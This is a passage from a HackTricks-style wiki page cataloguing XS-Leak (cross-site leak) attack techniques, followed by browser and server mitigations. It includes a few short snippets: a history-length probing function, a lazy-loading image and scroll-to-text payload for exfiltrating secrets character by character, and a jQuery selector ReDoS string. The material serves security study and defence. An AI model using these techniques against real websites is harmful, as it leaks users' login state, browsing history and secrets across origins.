- More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Summary: Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed.
- Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
According to Chromium documentation, Chrome's maximum URL length is 2MB.
In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.
Therefore if the redirect URL responded is larger in one of the cases, it's possible to make it redirect with a URL larger than 2MB to hit the length limit. When this happens, Chrome shows an about:blank#blocked
page.
The noticeable difference, is that if the redirect was completed, window.origin
throws an error because a cross origin cannot access that info. However, if the limit was **** hit and the loaded page was about:blank#blocked
the window's origin
remains that of the parent, which is an accessible information.
All the extra info needed to reach the 2MB can be added via a hash in the initial URL so it will be used in the redirect.
{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}
Max Redirects
- Inclusion Methods: Fetch API, Frames
- Detectable Difference: Status Code
- More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Summary: Abuse the redirect limit to detect redirects.
- Code Example: https://xsinator.com/testing.html#Max%20Redirect%20Leak
If the max number of redirects to follow of a browser is 20, an attacker could try to load his page with 19 redirects and finally send the victim to the tested page. If an error is triggered, then the page was trying to redirect the victim.
History Length
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Redirects
- More info: https://xsleaks.dev/docs/attacks/navigations/
- Summary: JavaScript code manipulates the browser history and can be accessed by the length property.
- Code Example: https://xsinator.com/testing.html#History%20Length%20Leak
The History API allows JavaScript code to manipulate the browser history, which saves the pages visited by a user. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.
Checking history.length
, making a user navigate to a page, change it back to the same-origin and checking the new value of history.length
.
History Length with same URL
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: If URL is the same as the guessed one
- Summary: It's possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
- Code Example: Below
An attacker could use JavaScript code to manipulate the frame/pop-up location to a guessed one and immediately change it to about:blank
. If the history length increased it means the URL was correct and it had time to increase because the URL isn't reloaded if it's the same. If it didn't increased it means it tried to load the guessed URL but because we immediately after loaded about:blank
, the history length did never increase when loading the guessed url.
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
Frame Counting
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/frame-counting/
- Summary: Read number of frames (window.length).
- Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak
Counting the number of frames in a web opened via iframe
or window.open
might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.
An example of this technique is that in chrome, a PDF can be detected with frame counting because an embed
is used internally. There are Open URL Parameters that allow some control over the content such as zoom
, view
, page
, toolbar
where this technique could be interesting.
HTMLElements
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/
- Summary: Read the leaked value to distinguish between 2 possible states
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
Some webpages may dynamically generate media files depending on user information or add watermarks that change media size. An attacker can use information leaked by those HTML elements to distinguish between possible states.
Some HTMLElements will leak some information to cross-origins such as the type of media they are:
- HTMLMediaElement leaks the media
duration
and thebuffered
times. - HTMLVideoElement leaks the
videoHeight
andvideoWidth
some browsers may also havewebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
andwebkitDecodedFrameCount
- getVideoPlaybackQuality() leaks the
totalVideoFrames
. - HTMLImageElement leaks the
height
andwidth
but if the image is invalid they will be 0 andimage.decode()
will get rejected.
CSS Property
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Summary: Detect website styling depending on the status of the user.
- Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak
Web applications may change website styling depending on the status of the use. Cross-origin CSS files can be embedded on the attacker page with the HTML link element, and the rules will be applied to the attacker page. If a page dynamically changes these rules, an attacker can detect these differences depending on the user state.
As a leak technique, the attacker can use the window.getComputedStyle
method to read CSS properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.
CSS History
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Summary: Detect if the
:visited
style is applied to an URL indicating it was already visited - Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
{% hint style="info" %} According to this, this is not working in headless Chrome. {% endhint %}
Using the CSS :visited
selector, it’s possible to apply a different style for URLs that have been visited.
Previously it was possible to use getComputedStyle()
to detect this difference but now browsers prevent this by always returning values as if the link was visited and limiting what styles can be applied using the selector.
So, it may be needed to trick the user into clicking an area that the CSS has affected this can be done using mix-blend-mode
.
There are also ways to do it without user interaction such as by abusing render timings this works because it takes time to paint links a different color.
A PoC was provided on a chromium report that works by using multiple links to increase the time difference.
ContentDocument X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Headers
- More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Summary: In GC, when a page is not allowed to be embedded on a cross-origin page because of X-Frame-Options, an error page is shown.
- Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
In Chrome, when a page is not allowed to be embedded on a cross-origin page, because the X-FrameOptions (XFO) header is set to deny or same-origin, an error page is shown instead. For objects, this error page can be detected by checking the contentDocument
property. Typically, this property returns null because access to a cross-origin embedded document is not allowed. However, due to Chrome’s rendering of the error page, an empty document object is returned instead. This does not work for iframes or in other browsers. Developers may forget to set X-Frame-Options for all pages and especially error pages often miss this header. As a leak technique, an attacker may be able to differentiate between different user states by checking for it.
Download Detection
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Summary: Attacker can detect downloads by using iframes. If the iframe is still accessible, the file was downloaded.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar
The Content-Disposition
header (Content-Disposition: attachment
) indicates if the browser is either supposed to downloaded content or displayed it inline.
If only a logged in user would be able to access a page which will download a file because it's using the header. It's possible to detect that behaviour.
Download bar
In Chromium-based browsers, when a file is downloaded, a preview of the download process appears in a bar at the bottom, integrated into the browser window. By monitoring the window height, attackers can detect whether the “download bar” opened.
Download Navigation (with iframes)
Another way to test for the Content-Disposition: attachment
header is to check if a navigation occurred. If a page load causes a download, it does not trigger a navigation and the window stays within the same origin.
Download Navigation (without iframes)
Same technique as the previous one but using window.open
instead of iframes.
Partitioned HTTP Cache Bypass
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Summary: Attacker can detect downloads by using iframes. If the iframe is still accessible, the file was downloaded.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
{% hint style="warning" %}
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)
, but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
, the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
{% endhint %}
If a site example.com
includes a resource from *.example.com/resource
then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1.
Because accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
Or could just send some fetch to the pontentially cached page and measure the time it takes.
Manual Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Redirects
- More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Summary: It's possible to find out if a response to a fetch request is a redirect
- Code Example:
Fetch with AbortController
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Summary: It's possible to try to load a resource and about before it's loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasn't cached.
- Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
AbortController
could be combined with fetch and setTimeout to both detect whether the resource is cached and to evict a specific resource from the browser cache. A nice feature of this technique is that the probing occurs without caching new content in the process.
Script Pollution
- Inclusion Methods: HTML Elements (script)
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Summary: When a cross-origin script is included on a page it’s not directly possible to read its contents. However, if a script uses any built-in functions, it’s possible to overwrite them and read their arguments which might leak valuable information.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Service Workers
- Inclusion Methods: Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: Measure execution time of a web using service workers.
- Code Example:
- The attacker registers a service worker in one of their domains (attacker.com).
- In the main document, the attacker issues a navigation (window.open) to the target website and instructs the Service Worker to start a timer.
- When the new window starts loading, the attacker navigates the reference obtained in step 2 to a page handled by the Service Worker.
- When the request performed in step 3 arrives at the service worker, it returns a 204 (No Content) response, which aborts the navigation.
- At this point, the Service Worker collects a measurement from the timer started in step 2. This measurement is affected by how long JavaScript blocked the navigation.
{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: The performance.now() API can be used to measure how much time it takes to perform a request. Other clocks could be used.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary: The performance.now() API can be used to measure how much time it takes to perform a request using
window.open
. Other clocks could be used. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
With HTML or Re Injection
Here you can find techniques to exfiltrate information from a cross-origin HTML injecting HTML content. These techniques are interesting in cases where for any reason you can inject HTML but you cannot inject JS code.
Dangling Markup
{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}
Image Lazy Loading
If you need to exfiltrate content and you can add HTML previous to the secret you should check the common dangling markup techniques.
However, if for whatever reason you MUST do it char by char (maybe the communication is via a cache hit) you can use this trick.
Images in HTML has a "loading" attribute whose value can be "lazy". In that case, the image will be loaded when it's viewed and not while the page is loading:
<img src=/something loading=lazy >
Therefore, what you can do is to add a lot of junk chars (For example thousands of "W"s) to fill the web page before the secret or add something like <br><canvas height="1850px"></canvas><br>.
Then if for example our injection appear before the flag, the image would be loaded, but if appears after the flag, the flag + the junk will prevent it from being loaded (you will need to play with how much junk to place). This is what happened in this writeup.
Another option would be to use the scroll-to-text-fragment if allowed:
Scroll-to-text-fragment
However, you make the bot access the page with something like
#:~:text=SECR
So the web page will be something like: https://victim.com/post.html#:~:text=SECR
Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.
What this text will do is to make the bot access any text in the page that contains the text SECR
. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.
Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the solution of this writeup sumarized here:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}
CSS ReDoS
If jQuery(location.hash)
is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main']
doesn't match it doesn't need to check the rest of the selectors:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
CSS Injection
{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}
Defenses
In this section you can find part of the mitigations recommended in https://xsinator.com/paper.pdf however, there are more mitigations in each section of the wiki https://xsleaks.dev/. Take a look there for more information about how to protect against these techniques.
Inclusion Method Mitigations
- HTML elements. It can use the CORP header to control if pages can embed a resource. CORP can either be set to same-origin or same-site and blocks any cross-origin respectively cross-site requests to that resource. On the client site, Chromium-based browsers use the CORB algorithm to decide whether cross-origin resource requests should be allowed or denied.
- Frames. The main defense to prevent iframe elements from loading HTML resources is the usage of X-Frame-Options. Alternatively, the CSP directive frame-ancestors can achieve a similar result. If the embedding is denied, the inclusion method cannot detect a difference in the responses.
- Pop-ups. For restricting the access to
window.opener
, the COOP HTTP response header defines three different values: unsafe-none (default), same-origin-allow-popups, and same-origin. These values can be used to isolate browsing tabs and pop-ups and thus, mitigates leak techniques based on pop-ups. - JavaScript Requests. Cross-origin JavaScript requests are often used in XS-Leak attacks, because an attacker has fine-grained control over the issued request. However, since these request are not CORS enabled they fall under the same restrictions as requests send by HTML elements, like scripts or images. Thus the impact of this leak technique can also be mitigated by CORP and CORB.
More generic methods:
- Fetch Metadata. These request headers allow server owners to understand better how the user’s browser caused a specific request. In Chrome, Sec-Fetch-* headers are automatically added to each request and provide metadata about the request’s provenance. For example, Sec-Fetch-Dest: image was triggered from an image element. Web applications can then choose to block requests based on that information.
- Same-Site Cookies. The Same-Site cookie flag allows websites to declare whether a cookie should be restricted to same-site or firstparty context. All major browsers support Same-Site cookies. In GC, cookies without the attribute are now Lax by default. For XS-Leaks, Same-Site cookies drastically limit the leak attack possibilities. On the other hand, leak techniques that rely on
window.open
still work withSameSite=Lax
. Websites that use other authentication methods, such as client-side certificates and HTTP authentication, remain vulnerable. - Cross-Origin Identifier Unlinkability (COIU). COIU, also known as First-Party Isolation (FPI), is an optional security feature that users can enable in FF’s expert settings (about:config) and was initially introduced in Tor Browser. In an abstract view, it is an extended same-site context. It binds multiple resources (e.g., Cookies, Cache, Client-side storages) to the first-party instead of sharing them among all visited websites. If enabled, COIU drastically decreases the applicability of XS-Leaks, since only methods using pop-ups are still possible to fit the policy’s first-party requirement.
- Tracking Protections. Apple implemented a privacy mechanism called Intelligent Tracking Prevention (ITP) in SA that aims to combat cross-site tracking by limiting the capabilities of cookies and other web APIs. In newer versions of SA, ITP blocks all third-party cookies by default without any exceptions [74]. This blocking prevents all leaks that are not based on pop-ups. FF took a similar approach with Enhanced Tracking Prevention (ETP), but they only block specific third-party cookies belonging to tracking providers. In the context of XS-Leaks, ETP only mitigates leak techniques that target these tracking domains.
- Browser Extensions. Security aware users can use browser extensions to prevent certain inclusion methods.
Leak Technique Mitigations
- Event Handler. The most effective mitigation on this leak technique would be to deny them all, but this would break the majority of web applications on the Internet. We therefore propose to reduce the number of the necessary information that can be gathered within events. For example, the CSP violation event should not contain the redirection target URL in the blockedURI field. This behavior is implemented in FF and in newer versions of GC – only SA remains vulnerable.
- Error Messages. To mitigate XS-Leaks based on the leak technique error messages, there are two major requirements. First, error messages must not contain detailed information, similarly to event handler messages. Second, browsers must minimize error message occurrences. XS-Leaks such as SRI Error, ContentDocument XFO, or Fetch Redirect detect whether an error message is thrown or not.
- Global Limits. Fixing leak techniques that abuse global limits are relatively complex because they rely on physical restrictions. The general recommendation thereby is to restrict global limits on a small per-site basis. If the global limit is 1, like for the Payment API, the attacker can silently attempt to activate the WebPayment UI at any time, which only succeeds if the UI is not being used concurrently by any other tab. We recommend to only access to the Payment API when a trustworthy event was used. By this means, the global limit is set to zero unless the user provides consent like a left mouse click on a dialog window, which sets the global limit to one.
- Global State. Any properties of a browser’s global state should not be accessible. For example, FF is the only browser that updates the global state history when a redirect occurs, which results in reading history.length. Browsers should create a new history property when a redirection occurs instead of storing it globally. Other examples are shared resources, such as caches. Cache leaks abuse the shared cache used for all open websites in a browser. To completely mitigate cache leak techniques, the HTTP cache must be partitioned on a per-site base, as implemented by SA, GC and FF. Note that in SA iframes are not effected by cache partitioning.
- Performance API. We proved the Performance API to be an excellent leak technique. In many XS-Leaks, we could detect the difference whether a cross-origin request’s response has or has not a performance entry. As a unification, we recommend ensuring that all request must create such an entry and only the correct subset of timing information is recorded for cross-origin requests.
References
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}